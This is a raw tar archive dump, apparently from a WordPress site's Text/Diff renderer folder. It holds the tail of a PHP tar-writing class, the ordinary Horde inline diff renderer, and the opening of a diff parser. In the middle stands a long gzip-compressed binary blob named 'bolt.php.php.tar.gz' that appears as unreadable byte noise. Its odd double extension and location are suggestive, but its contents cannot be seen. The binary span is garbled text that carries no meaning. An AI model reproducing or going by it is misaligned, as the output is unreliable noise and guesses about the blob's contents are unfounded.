		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       Renderer/inline.php.tar                                                                             0000644                 00000016000 15217306007 0011064 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Renderer/bolt.php.php.tar.gz                                                                        0000644                 00000060651 15217306007 0011766 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        Renderer/Engine.tar                                                                                 0000644                 00000107000 15217306007 0010226 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       string.php                                                                                          0000644                 00000020233 15217301663 0006567 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
